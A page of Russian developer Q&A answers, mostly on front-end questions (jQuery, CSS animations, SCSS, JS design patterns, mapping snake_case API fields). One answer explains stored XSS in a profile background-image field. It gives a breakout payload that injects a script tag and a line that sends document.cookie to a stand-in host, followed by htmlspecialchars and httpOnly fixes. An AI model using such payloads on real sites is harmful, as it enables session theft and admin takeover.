Задать вопрос
  • Как изменить id элементов на странице?

    Vlad_IT
    @Vlad_IT Куратор тега CSS
    Front-end разработчик
    Ну, можно добавить вызов функции
    function sortItemIds() {
       $('[class^=general_block_]').each(function (ind) {
          ind += 1;
          $(this).attr('class', 'general_block_' + ind).attr('id', ind);
          $(this).next('[class^=close-button_]').attr('class', 'close-button_' + ind);
       });
    }

    Но учитывайте, id элементов не должен начинаться с цифры, там тоже правила именования. Сделайте хотя бы gb1, gb2 и.т.д.

    UPD: как правильно заметил Даниил Попов в each первый аргумент это индекс.
    Ваш код кстати не рабочий, т.к. вы id берете с close-button, а его там нет.
    Вот готовый пример https://jsfiddle.net/0op64a5m/
    Ответ написан
    2 комментария
  • Законодательство какой юрисдикции должен соблюдать сайт, с юзер контентом?

    Jump
    @Jump
    Системный администратор со стажем.
    Законодательство какой юрисдикции должен соблюдать сайт, с юзер контентом?
    Вопрос некорректный.
    Законодательство это свод законов. законодательство не может быть "какой то юрисдикции". Вот законодательство какой-то страны вполне может.
    Юрисдикция - специализация конкретного судебного органа, определяет с какими делами может работать этот самый судебный орган.

    И самое главное - сайт не может соблюдать законодательство, или не соблюдать.
    Вот ваш холодильник, или стиральная машина может соблюдать закон? Точно так же и с сайтом.
    Закон может соблюдать или не соблюдать юридическое или физическое лицо, коим сайт не является.

    Если вопрос в том, законы каких стран должен соблюдать владелец сайта, то ответ будет таким - те, которые сочтет нужным.
    Поясню - во всех странах разные законы, и зачастую они противоречат друг другу.
    Поэтому соблюдать их все попросту невозможно.
    В итоге владелец выбирает законы каких стран ему соблюдать выгоднее - например он будет соблюдать законы страны A потому что он там живет, и за несоблюдение его могут посадить, а так же законы страны Б потому что поьзователи этой страны приносят ему больше всего дохода, и ему неохота этого дохода лишаться.
    А законы страны Г он соблюдать не будет, потому что эта страна никак наказать его не может.
    Вот и все.
    Ответ написан
    6 комментариев
  • Какой-то js код выводит alert, но не могу найти?

    Stalker_RED
    @Stalker_RED
    В девтулс пропишите
    window.alert = function() {
        debugger;
    }

    Затем добейтесь срабатывания этого алерта, и у вас будет остановка в том месте, где он был вызыван.
    Ответ написан
    4 комментария
  • Почему изменяется массив в функции?

    @afanasiyz
    Javascript-разработчик
    Любые не-примитивы в js передаются всегда по ссылке (массив один из них).
    Поэтому, чтобы не изменялся входящий массив, его надо склонировать.
    Меня тут наверное поправят, но по-моему в чистом js нет удобных способов склонировать вложенный массив без хаков, а хак тут будет:

    let Temp = JSON.parse(JSON.stringify(matrix));

    Или можно использовать lodash и его deepClone
    Ответ написан
    Комментировать
  • Изменяется яркость монитора?

    @LastDragon
    Проверьте не включена ли случайно «экономия электроэнергии» (SUPER ENERGY SAVING), у меня нименно она вызывает подобный «эффект» (модель правда другая).
    Ответ написан
    3 комментария
  • Как подключить SCSS к сайту?

    Ankhena
    @Ankhena Куратор тега CSS
    Нежно люблю верстку
    5bc31f61cf219886698118.png
    На выходе получите обычный CSS.

    С компиляцией потом разберетесь, когда самостоятельно начнете пользоваться.
    Ответ написан
    Комментировать
  • За что отвечает этот код?

    densisss
    @densisss
    Веб-разработчик.
    При клике на анкорную ссылку будет происходит плавный скролинг до целевого блока
    Ответ написан
    Комментировать
  • Пора ли использовать CSS переменные?

    AngReload
    @AngReload
    Кратко о себе
    Знаю что уже сейчас css переменные успешно используются на pikabu для смены палитры сайта и тёмной темы. Не без фолбэков, разумеется.
    body {
      background-color: #f4f4f4;
      background-color: var(--color--app__bg);
      color: #212121;
      color: var(--color--app__text);
    }
    Ответ написан
    4 комментария
  • Как можно закрыть сайт от роскомнадзора?

    demon416nds
    @demon416nds
    Разработчик на чем попало
    Самому ркн по большей части пофиг
    Они блокируют по решению суда
    А суд начинает рассмотрение по запросу одного из пользователей сайта. Так что ответ никак разве что вообще закрыть сайт ото всех но он тогда нафиг не нужен
    Ответ написан
    Комментировать
  • Ramdisk в Mac OS X

    msa
    @msa
    на 512М:
    diskutil erasevolume HFS+ "ramdisk" $(hdiutil attach -nomount ram://1165430)
    Ответ написан
    Комментировать
  • Хочу стать реверс-инженером. Что изучать для этого?

    Adamos
    @Adamos
    "Хочу стать мастером спорта. Посоветуйте, что почитать".
    Ответ написан
    15 комментариев
  • Какой сервис позволяет проверить, как выглядит сайт на iPhone и содержит инструменты разработчика?

    LenovoId
    @LenovoId
    svg, css,js
    Нету таких сервисов
    Самый лучший сервис - это свой собственный девайс от Apple
    Ответ написан
    6 комментариев
  • Используются ли паттерны js в веб разработке?

    Stalker_RED
    @Stalker_RED
    Шаблоны проектирования тем и хороши, что работают практически с любыми языками. В js они есть и встроенные и самому можно наприкручивать.

    EventListener, MutationObserver, Intersection_Observer_API - это же наблдатели

    document.createElement - это же строитель

    А вот пример фасада:
    $(document).ready(function() { 
        // какой-то код
    });


    Так можно долго продолжать. В любых фреймворках можно выявить шаблоны.
    Ответ написан
    Комментировать
  • Используются ли паттерны js в веб разработке?

    netrox
    @netrox
    Паттерны используются везде и это не зависит от языка.
    Фреймворки в основном на MVC , MVVM.
    Ответ написан
    Комментировать
  • Чем адаптивное меню на чистом css лучше такого же меню на js?

    delphinpro
    @delphinpro Куратор тега Вёрстка
    frontend developer
    Если задумка дизайнера позволяет реализовать задуманное без джаваскрипта, то понятно, что лучше реализовать без него.

    Если нет, и джаваскрипт необходим для реализации, то в этом нет абсолютно ничего страшного.

    В обоих случаях действует одно и то же правило: не делайте через жопу.
    Ответ написан
    4 комментария
  • Как сверстать такой элемент?

    sfi0zy
    @sfi0zy Куратор тега CSS
    Creative frontend developer
    Две больших картинки с object-fit: cover. Одна - нормальная, вторая - только голова и лапа слона, а вокруг нее прозрачное ничего. Голова в центре, при адаптивном изменении пропорций всего этого она никуда не уедет. Картинки одинакового размера. Дальше три слоя с абсолютным позиционированием - нормальная картинка, слой с текстом и картинка с головой. Текст - в виде встроенной SVG, там на него можно будет кроссбраузерно наложить любые градиенты.
    Ответ написан
    1 комментарий
  • Как сделать, чтобы логотип крутился как монета (анимация)?

    ixon
    @ixon
    
    https://codepen.io/anon/pen/XBQgKa
    Используя css3 анимацию добавим к логотипу ссылку на анимацию coin, установим итерацию в 5 секунд и бесконечное повторение:
    animation:coin 5s infinite;

    .coin{
      display:block;
      background:url('https://2ch.hk/b/arch/2018-05-23/src/176403732/15270649403080.jpg');
      background-size: 100% 100%;
      width:120px;
      height:120px;
      border-radius:50%;
      animation:coin 5s infinite;
    }

    Добавим анимацию coin, изменив ширину до 0, затем вернём её в изначальное положение.
    И сделаем отступ, чтобы анимация происходила относительно центра монеты.
    @keyframes coin {
        0%   {
          width: 120px;
          margin-left:0px;
        }
        50%  {
          width: 0px;
          margin-left:60px;
        }
        100% {
          width: 120px;
          margin-left:0px;
        }
    }
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Почему метод объекта нужно вызывать через call или apply?

    Vlad_IT
    @Vlad_IT Куратор тега JavaScript
    Front-end разработчик
    Потому, что Math.max принимает не массив, а список аргументов. А apply первым аргументом принимает контекст this, а вторым массив, который будет передан аргументами в Math.max
    т.е. вот такой вызов
    Math.max.apply(null, [1,2,3])
    будет преобразован в
    Math.max(1,2,3)
    Если например аналогичный метод call, он вторым аргументом уже не принимает массив, ему нужно передавать аргументы последовательно
    Math.max.call(null, 1, 2, 3);
    // будет
    Math.max(1,2,3)
    Ответ написан
    Комментировать
  • Как быть с camelCase на фронте и snake_case на бэкенде?

    mazhekin
    @mazhekin
    Frontend, Backend Web Developer
    Если бекендер очень высокого уровня, то есть умеет красиво и оптимально проектировать методы и данные под потребности клиентских app, четко это документировать (swagger) и покрывать тестами свои методы, то обычно таких проблем не возникает.
    В противном случае контролируйте все что приходит с бекенда, сделайте статические мапперы, подстраиваться под бек не вариант, всякие линтеры начнут ругаться, вы начнете запутыватся в плохоименованных переменных, уговаривать бекендеров слать данные в нужном формате то же больше времени потратите, третий вариант сам приемлемый, бекенд часто шлет, не то что в нужном формате а еще много того что не нужно на фронт.
    Например: бекенд шлет (это частая ситуация, так в бд например хранится, а правила кодирования у разных клиентов (web, ios, android) свои, но они могут использовать один и тот же бек)
    {
      ID '2342',
      stu_cfg: 'werwer'
      pfu_num: '1231'
      sys_created: '2000-12-10'
      register_date: '06 Mar 2017 21:22:23 Z'
    }

    бы обозначаете что вам нужно и в каком виде (в тайпскипте например) (или в js комментариями)
    interface SomeEntity {
      id: string,
      status: string,
      created: Date
      registered: Date 
    }


    class MyMapper {
        static someEntityToClient(data): SomeEntity {
            const someEntity: SomeEntity = {
               id = data['ID'],
               status = data['stu_cfg'],
               created = moment(data['sys_created']).toDate
               registered = moment(data['register_date']).toDate 
            }
            return someEntity;
        } 
    }

    И вызовите маппер сразу после апи вызова как только получили данные. Таким образом вы решите проблемы:
    1) ненужные данные отфильтруете, чтоб не ломать голову (что это? зачем?) потом во время отладки фронта
    2) в коде будет единый стандарт именования переменных (плюс закодированные имена (cfg, klk и т. п.) пропишете понятно).
    3) в бизнес логике будет единый стандарт типов данных (как например со временем) (преобразований не надо потом нигде по 10 раз делать, проверки отпадут, вы все проконтролировали на входе)
    Ответ написан
    Комментировать